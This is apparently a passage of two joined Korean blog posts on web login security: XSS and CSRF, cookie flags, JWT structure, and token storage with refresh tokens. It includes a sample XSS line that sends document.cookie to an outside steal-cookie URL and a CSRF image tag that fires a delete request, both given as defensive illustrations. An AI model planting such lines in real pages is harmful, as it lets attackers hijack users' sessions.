• Reflected (Non-Persistend) XSS : 사용자가 악의적인 링크를 클릭하거나 조작된 폼을 제출하도록 속으면 웹 사이트 내로 스크립트가 주입되는 방식.
• DOM-based XSS : 피해자 브라우저의 DOM 환경을 조작해서 페이지 자체는 똑같아 보이지만 예상치 못한 방식으로 실행되게 하는 방식.

(new Image()).src = "http://www.example.com/steal-cookie.php?cookie=" + document.cookie;

CSRF (Cross-site Request Forgery)

CSRF(교차 사이트 요청 위조)는 공격자가 신뢰할 수 있는 사용자를 사칭하고 웹 사이트에 원치 않는 명령을 보내는 공격이다. 즉, 특정 웹서버가 사용자의 웹브라우저를 신용하는 상태를 노리는 것.

예를 들어, 공격자가 아래와 같이 악의적인 URL 파라미터를 가진 요소를 삽입했다고 하자.

<img src="https://www.example.com/index.php?action=delete&id=123" />

수정 권한이 있는 사용자의 경우, <img> 요소는 화면에 보이지 않더라도 사용자도 모르는 사이 HTML이 로드되면서 실행된다.

XSS vs CSRF

저장 방법 비교 분석

각 저장 방법들의 단점과 해결방법 그리고 사용하면 좋을 기능들에 대해 정리해 보았다.

메모리 (변수)

→ 가장 보안적으로 뛰어난 방식이지만 위의 문제로 단독으로 사용하기엔 사용자 경험에 문제가 생김.

웹 스토리지

→ 웹 사이트 전체 XSS 취약점을 최대한 예방하면 웹 스토리지도 조금 더 안전해진다. 따라서 사용자의 입력이 자바스크립트 코드로 실행될 수 있는 코드들은 최대한 사용하지 않는다. ( e.g. innerHTML, eval, document.write )

→ 따라서 웹 스토리지에 민감한 정보를 저장하는 것은 최대한 지양하고 다음과 같은 용도로 사용하는 것을 추천함:

• 세션 스토리지 : 이전 페이지 저장, 이전 스크롤 위치 저장
• 로컬 스토리지 : 사용자 설정 저장, 글 임시 저장

쿠키

→ 옵션 없이 기본적으로 작동되는 쿠키는 사실 XSS, CSRF 공격에 모두 취약함.

→ 하지만 다음과 같은 쿠키 설정을 통해 해당 취약점들을 최대한 보완할 수 있음:

• XSS :
  • HttpOnly 설정을 통해 쿠키를 자바스크립트 코드 상에서 접근이 불가해지고, HTTP 요청에만 포함되어 보내진다.
• CSRF :
  • SameSite 설정을 통해 같은 도메인의 요청에만 쿠키를 전송하게 할 수 있다. 해당 설정에서 선택할 수 있는 옵션으로는 세 가지가 있다.
    • None: 설정하기전과 같은 방식으로 동작함.
    • Strict: 크로스 사이트 요청에는 항상 전송되지 않음.
    • Lax: 크로스 사이트 요청 중 안전한 HTTP 요청에만 전송함.<a> 태그, 302 리다이렉트, window.location.replace 등을 이용한 요청을 말함.
  • secure 설정을 통해 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않음.

Set-Cookie: 쿠키명=쿠키값; HttpOnly; SameSite=Lax; Secure

안전하게 JWT 토큰 저장하기

앞서 비교한 저장 방법들을 토대로 만약에 JWT 토큰을 사용한 로그인을 구현한다고 했을 때 안전하다고 생각되는 방법은 다음과 같다:

1. 클라이언트에서 로그인 요청 후 서버에서 성공적으로 인증되면 access token 는 페이로드, refresh token 는 쿠키 헤더에 httpOnly / secure / SameSite 옵션과 함께 저장한 뒤 응답한다.
2. 응답 받은 클라이언트는 access token을 메모리(변수)에 저장한다.
3. 클라이언트에서 권한이 필요한 요청 시에 Authorization 헤더에 access token을 담아 보내준다.
4. access token이 만료되었거나, 페이지 이동으로 사라졌을 시, 렌더링 과정 혹은 API 통신을 통해 재발급을 요청한다. 이 때 refresh token이 이미 쿠키에 담겨진 상태로 서버와 통신하게 된다.
5. refresh token 역시 만료되어 있으면 클라이언트는 사용자를 로그아웃 시킨다.

레퍼런스

[10분 테코톡] 🦄 디토의 웹스토리지 & 쿠키 HTTP 쿠키 - HTTP | MDN Web Storage API 사용하기 - Web API | MDN Types of attacks - Web security | MDN HTTP 쿠키 우아한테크코스 학습로그 저장소 🍪 프론트에서 안전하게 로그인 처리하기 (ft. React)

여러 프로젝트를 진행하면서 로그인 기능을 구현해야 하는 상황들을 마주했다. 가장 기본적인 기능이면서 보안적으로 중요한 로그인 기능. 아직까지도 제대로 알지 못하고 사용하고 있어 이번 기회에 개념 정리를 해보았다.

인증과 인가

먼저 두 개념의 차이는 다음과 같다:

• 인증 (Authentication) : 사용자의 신원을 검증하는 단계
• 인가 (Authorization) : 신원이 확인된 사용자에게 리소스에 접근할 수 있는 권한을 주는 단계

즉 웹에서 사용자가 웹사이트에 로그인 하는 과정을 인증, 로그인 한 사용자가 특정 리소스에 대한 접근 권한을 확인하는 과정을 인가 라고 할 수 있다.

문제점

그러면 어느 웹사이트에서 사용자가 로그인을 진행한다고 생각해보자. HTTP의 무상태성으로 인해 어떤 사용자가 인증을 받더라도 웹서버는 해당 사용자의 다음 요청에서 인증된 사용자라는 것을 알지 못한다. 즉, 매 요청마다 다시 인증을 해야 하는 문제가 발생한다.

이를 해결하기 위한 방법으로는 간단하게 브라우저에 유저 정보를 보관해 뒀다가 매 요청마다 해당 정보를 함께 전달하는 방법이 있다. 하지만 이는 민감한 유저정보를 모두 브라우저에 저장하는 보안적으로 아주 취약한 상태에 있다. 이러한 문제점을 해결하기 위한 방법에 세션과 토큰이 있다.

세션

세션 기반 인가는 사용자의 인증 정보가 서버의 세션 저장소에 저장되는 방식이다.

사용자가 로그인을 하고 유효한 사용자임이 인증이 되면 서버 세션 저장소에 인증 정보를 저장하게 되는데 이때 인증 정보는 Session ID 와 사용자 아이디로 이루어져 있다. 이후 서버에서 Session ID 를 담은 쿠키와 함께 응답을 보내고 브라우저 쿠키에 저장되게 된다. 이후 브라우저에 요청을 보낼 때 마다 헤더에 Session ID 담은 쿠키가 함께 전송되어 서버에서 전달받은 Session ID 와 세션 저장소를 비교해 유효한 인증 정보인지 확인하는 방식이다.

토큰

토근 기반 인가는 인증 정보를 토큰의 형태로 클라이언트에 저장하고 있는 방식이다.

그중 가장 대표적인 JWT 토큰 방식에 대해서 알아보자.

Json Web Token (JWT) 란?

Json Web Token 은 세션방식과 큰 차이는 없이 인증에 필요한 모든 정보를 토큰에 담아 암호화 시킨뒤 사용한다. 여기서 가장 큰 차이는 JWT 는 해당 토큰을 서명해서 사용한다는 점이다. 즉, 개인/공개 키로 토큰에 서명을 한 경우 비밀키를 가진 서버에서 해당 토큰이 유효한지를 알수 있다는 말이다.

JWT의 구조

JWT 는 Header, Paload, Signiture 세가지 구성요소로 이루어져 있다. 이 세가지 구성요소는 . 을 기준으로 나누어 구분된다.

헤더

헤더는 토큰 타입 그리고 해싱 알고리즘에 대한 정보를 담고 있다. 해싱은 Signiture 부분에서 사용되며 해싱 알고리즘으로는 일반 적으로 HMAC SHA256 혹은 RSA 가 사용된다.

{
  "typ": "JWT",
  "alg": "HS256"
}

페이로드

페이로드에는 토큰에 담을 정보가 담겨 있다. 여기에 담는 정보의 한 조각을 클레임(claim) 이라 부르고 키-값 형태를 가진다. 클레임에는 또 세가지 종류가 있다.

• 등록된 클레임 : 이미 이름이 정해진 클레임들로 필요한 경우 선택적으로 사용하면 된다. 등록된 클레임에는 다음들이 있다.

  • iss: 발급자
  • sub: 제목
  • aud: 대상자
  • exp: 만료시간
  • nbf: 이 날짜가 지나기 전까지는 토큰이 처리되지 않음
  • iat: 토큰이 발급된 시간
  • jti: JWT의 고유 식별자

• 공개 클레임 : 충돌을 방지하기 위한 이름을 자기고 있는 클레임으로서, 클레임 이름을 URI 형태로 지음.

    "https://gongibab.com/jwt_claims/is_user": true

• 비공개 클레임 : 아무 규칙없이 임의로 명명해서 사용하는 클레임. 따라서 이름 중복으로 인한 충돌을 주의 해야함:

    "username": "gongibab"

따라서 해당 클레임들을 포함한 예제 페이로드는 다음과 같다:

{
    "iss": "gongibab.com",
    "exp": "1485270000000",
    "https://gongibab.com/jwt_claims/is_user": true,
    "userId": "11028373727102",
    "username": "gongibab"
}

서명

서명은 헤더의 인코딩 값 그리고 페이로드의 인코딩 값을 합친 뒤 주어진 비밀키로 암호화하여 해쉬를 생성한다. 이 과정을 수도 코드로 나타내면 다음과 같다:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

위 과정들에서 만들어진 값들을 각각 base64 로 인코딩하여 .을 중간자로 합쳐주면 JWT 토큰이 완성된다.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ2ZWxvcGVydC5jb20iLCJleHAiOiIxNDg1MjcwMDAwMDAwIiwiaHR0cHM6Ly92ZWxvcGVydC5jb20vand0X2NsYWltcy9pc19hZG1pbiI6dHJ1ZSwidXNlcklkIjoiMTEwMjgzNzM3MjcxMDIiLCJ1c2VybmFtZSI6InZlbG9wZXJ0In0.WE5fMufM0NDSVGJ8cAolXGkyB5RmYwCto1pQwDIqo2w

세션 vs 토큰

Refresh Token

위에서 언급한 대로 JWT 토큰은 한번 발급한 토큰에 대해서는 제어권이 없고 탈취돼더라도 토큰 만료이전까지 어떻게 할 방법이 없다.

그렇다고 유효기간을 아주 짧게 하자니 사용자가 지속적으로 로그아웃이 되며 사용자 경험에 악영향을 미칠 수 밖에 없다. 이런 문제들을 해결하기 위해 도입된 것이 refresh token 이다.

Refresh Token 의 목적과 매커니즘

Access Token 의 유효 기간을 짧게 하여 보안을 강화하면서도 사용자에게 잦은 로그아웃 경험을 주지 않도록 하는 것이다. Access Token은 리소스에 접근하기 위해서 사용하되, Refresh Token은 기존에 클라이언트에 저장되 있던 Access Token이 만료되었을 때 재발급 받기 위해 사용된다.

Refresh Token은 서버 데이터베이스에 사용자와 매핑되어 저장되어 인증에 사용된다.

Refresh Token의 매커니즘은 다음과 같다:

1. 클라이언트가 로그인을 요청하고 성공하면, 서버는 Access Token와 Refresh Token을 담아 응답한다.
2. 클라이언트는 인가가 필요한 요청에 Access Token와 Refresh Token 을 실어 보낸다.
3. 만약Access Token이 만료 되면, Refresh Token을 사용하여 새로운 Access Token을 발급 받는다.

출처 : https://www.rfc-editor.org/rfc/rfc6749.html

레퍼런스

인증과 인가 (권한 부여) 비교 – 특징 및 차이점 | Okta Identity Korea [10분 테코톡] 🎡토니의 인증과 인가 [JWT] 토큰(Token) 기반 인증에 대한 소개 [JWT] JSON Web Token 소개 및 구조 세션 기반 인증과 토큰 기반 인증 (feat. 인증과 인가) Access Token의 문제점과 Refresh Token What Are Refresh Tokens and How to Use Them Securely